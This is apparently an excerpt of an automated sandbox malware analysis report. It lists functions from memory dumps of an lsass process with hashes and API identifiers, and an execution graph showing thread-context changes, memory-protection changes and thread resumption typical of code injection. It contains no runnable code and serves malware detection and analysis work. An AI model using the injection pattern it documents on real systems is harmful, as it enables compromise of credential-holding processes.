                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 97304d35c4b486749e002e92b9cf81982149fd581c5d11b448b14438c7f928ed
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 44514C721007C0CAFB648B2595CC35D77A0F766B95F1A4217DBE947B96CB38E4A9CB00
                                            Function 00000202C0AB8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: 8446a618bbd1140fecb175adc7a255fff733e8375c6260d7fd1f59283cc66251
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: 1151AB32601700CAFB29CF29E48CB5D3795F354B98F568227DB164378AEB35D889C704
                                            Function 00000202C0AB83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: 90803dd6b9b29f9c4154e969358d487dae67566bd5ce1f620f43925fcc542657
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: 7F316A32201740D6FB299F29E88C75D7BA4F340B98F168117AF5A07786DB39C948C704
                                            Function 00000202C0B52058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction ID: 8a758bb2884d5aaedfb3744de96242c17db80bcf3bb398f7e2c9eb2ed4567db6
                                            • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction Fuzzy Hash: 02D1BC32B15B80C9F711CFA9D4882AC3BB2E355B9CF154257CF59A7B9ADA34C90AC340
                                            Function 00000202C0AF2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction ID: 5415e984cde6a1f954e745032577872c235aef40fdbcb0d3a10d64624b9653db
                                            • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction Fuzzy Hash: 99D1BC73B14B80C9F721CFA9D48829C3BA1F354B98F158217CF5A97B9ADA39C54AC740
                                            Function 00000202C0AE14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Free
                                            • String ID:
                                            • API String ID: 3168794593-0
                                            • Opcode ID: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
                                            • Instruction ID: e1a4700da16e8d3ef1b17da53b22238d79ed5d8b917823312ea25b365b8a4f34
                                            • Opcode Fuzzy Hash: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
                                            • Instruction Fuzzy Hash: 1E117977500B90C6F714DF62A88C14DB7A4F788F81F0A4127EB4903766DE39C0598744
                                            Function 00000202C0B52980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction ID: 4f66446779e12f263f25ce4e9c77a33638de583a08e4096a77af12e6fbb60eb3
                                            • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction Fuzzy Hash: 9A919C22701B50C5FB64DF6594DC3AD2BA0B756B8CF16419BDF0A67A96DA34C88AC700
                                            Function 00000202C0AF2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction ID: 7750c07c3da3ab5777ee1fb19e88fe5ee8ba8c540cdc789170c23b37d6888931
                                            • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction Fuzzy Hash: D9918A73610B50C9FB61DF6594CC7AD2BA0B744B88F56410BDF4A67A96DB3AC88BC700
                                            Function 00000202C0B47960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: 479f58a84b1af8cc552df62d3a1eb5b2e5cfb4fc25200f2b708c8a573a58311b
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: 7F110A22710F418AFB40CBA0E8992AC33A4E719B58F451E22DA6D477A5DB78C5988280
                                            Function 00000202C0AE7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: c1e121f40b66a15715f8d269b70c98ee374ca54bb48e74cdb6f3174d14493375
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: 34111C22710B01C9FB00CB60E8983AC33A4F719B58F450E22DB6D467A5DB78C5988380
                                            Function 00000202C0B4253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction ID: 7d93dc7456e3ad94e783113e8cd02d63737e867bede78650b2f336d940fa284c
                                            • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction Fuzzy Hash: 0171C236200B81C5F764DFA5A8CC3AE6794F7A9B88F960117DE0953B8BDA35CF499700
                                            Function 00000202C0AB9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: f3028f0bacb26f4c6116040a1e45f79bacc9d5a175de68b6d573a429fff7c7f3
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: B7614532A00B84CAFB24DF65D4883AD77A0F748B98F154217EF4917B9ADB38D599C704
                                            Function 00000202C0B42330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction ID: 5f314875d0c3bc3841964ba540442de661241415e68cd2692db0ecf16478f177
                                            • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction Fuzzy Hash: D651D322604B81C1F664DBA9A5EC3BE6651F7B5788F860127DF5903B4BDA39CE0C9740
                                            Function 00000202C0AE2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction ID: 3514571e2c1d6cd3889b28a5e79674fb4b07f5075b2e224e86b20f94a4d05b12
                                            • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction Fuzzy Hash: 2B5180322087C1C1F6649B29A5DC3BEA791F385B80F560127DFEA03B9BDA39C52D8750
                                            Function 00000202C0B526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: 33d0f85bed8054878330e124cb41046c1196a38989f2ae81037b8b67b1af0991
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: DC419132215B80C6EB20DF65E88C3AE67A0F799798F554023EE4D87795DB3CC945CB40
                                            Function 00000202C0AF26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: b84669cd5d919c91a09ffca97e8587df6a0950af1a2baa035680203c31bd1311
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: 93418E63614B80C6EB209F25E8883AEA7A0F798794F524023EF4D87795EB39C44AC740
                                            Function 00000202C0B494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: 08f9c71afd5e9278f51d521f771f4a89ae9865d7b896ade5cf211a61c0145b66
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: A0112B32214B8082FB61CB15E48835DB7E5F798B98F594262EE8C47B59DF3CC955CB04
                                            Function 00000202C0AE94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: 149d407967b934cd8ed689359ce0485475af0033eaf3f8f7976efa754672e473
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: 8F112B36214B8082EB618B15E48835D77E5F788B94F594222EFCC077A9DF3DC569CB04
                                            Function 00000202C0AB7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: 8da40ad284d153a9b89d1544e12ba7a913fe1935213764a8cba5128ad5ea2d85
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: A1E08661641B44D0EF018F31E88829C33A4DB58B64F9A91239A5C06312FA38D1EDC300
                                            Function 00000202C0AB73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: 5205816057d34bf06f4ea810c880042c8f0231ff55e9ce8539c58bb0b426eeb2
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: 30E08661601F44C0EF058F31D88419C73A4E758B54F8A9123DA4C06312EA38D1E9C300
                                            Function 00000202C0B41BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: f7db78db4812f02fdb92ec06a4f81ca507783c67906b6739e6c27fb9885f9b4a
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: 9D119D25A01F45C1FA44CBA6A88C22D63A0FB98FC8F0A4027CE4D57767DE38C8469300
                                            Function 00000202C0AE1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: 0bfdd2f4f70d0c77588d297d632a834cc4e271defd7936f82574c36193d19b8d
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: 6C119A26601B94C1FA44CB66A88C22D63A0FBC8FC0F1A412BDF8D83766DF39C45AC300
                                            Function 00000202C0B41268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: 06db176155879b138fcd680d50a070c95727c6bf2d194cd39e0c05b7c35e898b
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: FAE03935601B05C6FB44CB62D84C36E36E5EB99B0AF069026890907752DF7D889AC750

                                            Execution Graph

                                            Execution Coverage:1.9%
                                            Dynamic/Decrypted Code Coverage:98.5%
                                            Signature Coverage:3.3%
                                            Total number of Nodes:400
                                            Total number of Limit Nodes:19
                                            execution_graph 14866 1bcd1c55cf0 14867 1bcd1c55cfd 14866->14867 14868 1bcd1c55d09 14867->14868 14875 1bcd1c55e1a 14867->14875 14869 1bcd1c55d3e 14868->14869 14870 1bcd1c55d8d 14868->14870 14871 1bcd1c55d66 SetThreadContext 14869->14871 14871->14870 14872 1bcd1c55e41 VirtualProtect FlushInstructionCache 14872->14875 14873 1bcd1c55efe 14874 1bcd1c55f1e 14873->14874 14888 1bcd1c543e0 14873->14888 14884 1bcd1c54df0 GetCurrentProcess 14874->14884 14875->14872 14875->14873 14878 1bcd1c55f23 14879 1bcd1c55f77 14878->14879 14880 1bcd1c55f37 ResumeThread 14878->14880 14892 1bcd1c57940 14879->14892 14881 1bcd1c55f6b 14880->14881 14881->14878 14883 1bcd1c55fbf 14885 1bcd1c54e0c 14884->14885 14886 1bcd1c54e53 14885->14886 14887 1bcd1c54e22 VirtualProtect FlushInstructionCache 14885->14887 14886->14878 14887->14885 14890 1bcd1c543fc 14888->14890 14889 1bcd1c5445f 14889->14874 14890->14889 14891 1bcd1c54412 VirtualFree 14890->14891 14891->14890 14893 1bcd1c57949 14892->14893 14894 1bcd1c57954 14893->14894 14895 1bcd1c5812c IsProcessorFeaturePresent 14893->14895 14894->14883 14896 1bcd1c58144 14895->14896 14899 1bcd1c58320 RtlCaptureContext 14896->14899 14898 1bcd1c58157 14898->14883 14900 1bcd1c5833a RtlLookupFunctionEntry 14899->14900 14901 1bcd1c58350 RtlVirtualUnwind 14900->14901 14902 1bcd1c58389 14900->14902 14901->14900 14901->14902 14902->14898 14903 1bcd1c5fa50 14904 1bcd1c5fa60 14903->14904 14911 1bcd1c61d0c 14904->14911 14906 1bcd1c5fa69 14907 1bcd1c5fa77 14906->14907 14919 1bcd1c5f858 GetStartupInfoW 14906->14919 14912 1bcd1c61d2b 14911->14912 14916 1bcd1c61d54 14911->14916 14930 1bcd1c5d6ac 14912->14930 14918 1bcd1c61d3c 14916->14918 14936 1bcd1c61c14 14916->14936 14918->14906 14920 1bcd1c5f88d 14919->14920 14921 1bcd1c5f927 14919->14921 14920->14921 14922 1bcd1c61d0c 24 API calls 14920->14922 14925 1bcd1c5f948 14921->14925 14923 1bcd1c5f8b6 14922->14923 14923->14921 14924 1bcd1c5f8e0 GetFileType 14923->14924 14924->14923 14926 1bcd1c5f966 14925->14926 14927 1bcd1c5fa35 14926->14927 14928 1bcd1c5f9c1 GetStdHandle 14926->14928 14927->14907 14928->14926 14929 1bcd1c5f9d4 GetFileType 14928->14929 14929->14926 14943 1bcd1c5cfa0 14930->14943 14932 1bcd1c5d6b5 14933 1bcd1c5d570 14932->14933 15094 1bcd1c5d408 14933->15094 14937 1bcd1c5d6cc _invalid_parameter_noinfo 6 API calls 14936->14937 14938 1bcd1c61c35 14937->14938 14939 1bcd1c61c97 14938->14939 15192 1bcd1c5f60c 14938->15192 14940 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14939->14940 14941 1bcd1c61ca1 14940->14941 14941->14916 14944 1bcd1c5cfb5 Concurrency::details::SchedulerProxy::DeleteThis 14943->14944 14945 1bcd1c5cfe1 FlsSetValue 14944->14945 14951 1bcd1c5cfd1 _invalid_parameter_noinfo 14944->14951 14946 1bcd1c5cff3 14945->14946 14945->14951 14959 1bcd1c5d6cc 14946->14959 14949 1bcd1c5d020 FlsSetValue 14953 1bcd1c5d03e 14949->14953 14954 1bcd1c5d02c FlsSetValue 14949->14954 14950 1bcd1c5d010 FlsSetValue 14952 1bcd1c5d019 14950->14952 14951->14932 14965 1bcd1c5d744 14952->14965 14970 1bcd1c5cb94 14953->14970 14954->14952 14958 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 2 API calls 14958->14951 14964 1bcd1c5d6dd _invalid_parameter_noinfo 14959->14964 14960 1bcd1c5d72e 14963 1bcd1c5d6ac Concurrency::details::SchedulerProxy::DeleteThis 5 API calls 14960->14963 14961 1bcd1c5d712 HeapAlloc 14962 1bcd1c5d002 14961->14962 14961->14964 14962->14949 14962->14950 14963->14962 14964->14960 14964->14961 14966 1bcd1c5d77a 14965->14966 14967 1bcd1c5d749 HeapFree 14965->14967 14966->14951 14967->14966 14968 1bcd1c5d764 Concurrency::details::SchedulerProxy::DeleteThis 14967->14968 14969 1bcd1c5d6ac Concurrency::details::SchedulerProxy::DeleteThis 5 API calls 14968->14969 14969->14966 14971 1bcd1c5cc46 _invalid_parameter_noinfo 14970->14971 14974 1bcd1c5caec 14971->14974 14973 1bcd1c5cc5b 14973->14958 14975 1bcd1c5cb08 14974->14975 14978 1bcd1c5cd7c 14975->14978 14977 1bcd1c5cb1e 14977->14973 14979 1bcd1c5cd98 Concurrency::details::SchedulerProxy::DeleteThis 14978->14979 14980 1bcd1c5cdc4 Concurrency::details::SchedulerProxy::DeleteThis 14978->14980 14979->14980 14982 1bcd1c607b4 14979->14982 14980->14977 14983 1bcd1c60850 14982->14983 14988 1bcd1c607d7 14982->14988 14984 1bcd1c608a3 14983->14984 14986 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14983->14986 15048 1bcd1c60954 14984->15048 14987 1bcd1c60874 14986->14987 14989 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14987->14989 14988->14983 14990 1bcd1c60816 14988->14990 14993 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14988->14993 14994 1bcd1c60888 14989->14994 14991 1bcd1c60838 14990->14991 14995 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14990->14995 14992 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14991->14992 14997 1bcd1c60844 14992->14997 14998 1bcd1c6080a 14993->14998 14999 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14994->14999 15000 1bcd1c6082c 14995->15000 14996 1bcd1c6090e 15001 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 14997->15001 15008 1bcd1c62fc8 14998->15008 15004 1bcd1c60897 14999->15004 15036 1bcd1c630d4 15000->15036 15001->14983 15002 1bcd1c5d744 6 API calls Concurrency::details::SchedulerProxy::DeleteThis 15007 1bcd1c608af 